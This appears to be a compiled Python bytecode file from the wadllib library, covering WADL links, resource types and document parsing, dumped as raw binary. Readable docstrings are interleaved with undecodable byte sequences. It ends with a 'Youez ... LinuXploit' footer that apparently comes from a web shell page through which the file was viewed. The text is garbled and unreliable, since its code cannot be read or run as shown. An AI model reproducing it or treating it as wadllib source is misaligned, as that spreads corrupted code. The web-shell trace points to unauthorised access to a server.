/��&�&�(�(rc�L�VP4R# \dR#i;i)z|Can this link be followed within wadllib?

wadllib can follow a link if it points to a resource that has
a WADL definition.
FT)r^rros&rr��Link.can_follow5s,��	��$�$�&����	��	�s��#�#c��\VPVPP4VPPPV4P4#)z,Turn a resource type ID into a ResourceType.)r	rYr�r�r�r7r4rjs&&rr`�Link._definition_factoryBsG������d�n�n�6�6�8����+�+�/�/��3�7�7�9�	9rc�n�VPPPR4pVf\R4hV#)z(Find the URL containing the definition .r�zIParameter is a link, but not to a resource with a known WADL description.)r4r6r7r)r8r�s& rr^�Link._get_definition_urlHs6���x�x���"�"�?�3���<��=�>�
>��rr�)r"r#r$r%r&rZr�r�r�r`r^r'rQr�r�s@@rrrsF�������)��)��
��
�9��rc�*a�]tRtRtoRtRtRtVtR#)r
iQz,A wrapper around an XML <resource_type> tag.c��WnR#)zfInitialize with a <resource_type> tag.

:param resource_type_tag: An ElementTree <resource_type> tag.
N�r4)r8�resource_type_tags&&rrZ�ResourceType.__init__Ts	��
%�rr�N)r"r#r$r%r&rZr'rQrRs@rr
r
Qs����6�%�%rc�Ha�]tRtRtoRtRtRtRtRtRt	Rt
R	tVtR
#)ri\z1A WADL document made programmatically accessible.c���Wn\VR4'dVPV4VnMVP	V4VnVPP\
R44VnVPPPR4Vn
/Vn/VnVPP\
R44F?pVPPR4pVfK$\VRV4pWPPV&KA	VPP\
R44F.pVPR,p\V4VPV&K0	R#)z�Parse WADL and find the most important parts of the document.

:param markup_url: The URL from which this document was obtained.
:param markup: The WADL markup itself, or an open filehandle to it.
�read�	resourcesr�rzrkNr�)r�r{�_from_streamrf�_from_stringr�rr�r6r7�
resource_baserjr�r5rr
)r8r��markuprzrkrdr�s&&&    rrZ�Application.__init___s ��%���6�6�"�"��(�(��0�D�H��(�(��0�D�H������z�+�'>�?���!�^�^�2�2�6�6�v�>���*,��'� ���"�h�h�.�.�z�:J�/K�L�N��&�&�*�*�4�0�B��~�5��$��0�
�6@�/�/��3�M�"�X�X�-�-�j��.I�J�M��%�%�d�+�B�&2�=�&A�D����#�Krc�:�RpRp.p\P!W4FfwrVVR8XdVPV4KVR8XdVP4K8VR8XgKAVfTpVP	\
\
V44Kh	\P!V4#)zbTurns markup into a document.

Just a wrapper around ElementTree which keeps track of namespaces.
�start�start-ns�end-nsN)r�r�r�)�ET�	iterparser�pop�setr�r�ElementTree)r8�stream�events�rootr��event�elems&&     rr��Application._from_streamxs���
/�������<�<��7�K�E��
�"��
�
�d�#��(�"��
�
���'�!��<��D������f��.�8��~�~�d�#�#rc��\V\4'gVPR4pVP\P
!V44#)zTurns markup into a document.rF)rwrVr8r�rTrU)r8r�s&&rr��Application._from_string�s7���&�%�(�(��]�]�7�+�F�� � ����F�!3�4�4rc��VPV4pVPPV4pVf\RV,4hV#)z7Retrieve a resource type by the URL of its description.r])r_r�r7ra)r8�resource_type_urlrcr�s&&  rry�Application.get_resource_type�sG���#�#�$5�6���+�+�/�/��7�
�� ��1�4E�E�F�F��rc�4�\VP4P4pRVnVP	R4'd\V4P4pMVPV4pVPpRVnW28XdV#\
RV,4h)z�A helper method for locating a part of a WADL document.

:param url: The URL (with anchor) of the desired part of the
WADL document.
:return: The XML ID corresponding to the anchor.
N�httpz,Can't look up definition in another url (%s))rr��
ensureNoSlash�fragment�
startswith�resolveri)r8r��
markup_uri�this_uri�possible_xml_ids&&   rr_�Application.lookup_xml_id�s�������)�7�7�9�
�"�
���>�>�&�!�!��3�x�-�-�/�H�"�)�)�#�.�H�"�+�+�� ����!�#�"�"�#-�/2�#3�4�	4rc�0�VPUu.uFpVPR,V8XgKVNK!	pp\V4^8dR#\V4^8�d\RV,4h\	V\VPVR4V^,4#uupi)z`Locate one of the resources described by this document.

:param path: The path to the resource.
rNz+More than one resource defined with path %sT)r�r6rErr	rr�)r8rr2�matchings&&  r�get_resource_by_path� Application.get_resource_by_path�s���.2�^�^�8�^�����v�.�$�6��H�^��8��x�=�1����x�=�1���I�"�#�$�
$���%��*�*�D�$�7��!��F�	F��8s
�B�B)rfr�rjr�r�r�N)
r"r#r$r%r&rZr�r�ryr_r�r'rQrRs@rrr\s/����;�B�2$�(5��4�@F�Fr)
rrrrrrrr	r
r),r&�__all__r��email.utilsrrTr|r4r6r2r��urllib.parser
�xml.etree.ElementTree�etreer�r��lazr.urirr�wadllib.iso_strptimerr�r�rrr�	Exceptionrrr*r,r.rUr	rr�rrrr�rr
rrrr�<module>r�s1��"
�����	��
�	�
��"�"�"��-�	��6��?�
%�
�	�	�	�
����	��J�J�? �? �D:$�x�:$�zy<�'�y<�x	g�X�g�T6��"4�6�r?�+�?�D^+�7�9K�^+�B[��[�|,�X�,�"3�#�3�l%�8�%�nF�(�nFr

Youez - 2016 - github.com/yon3zu
LinuXploit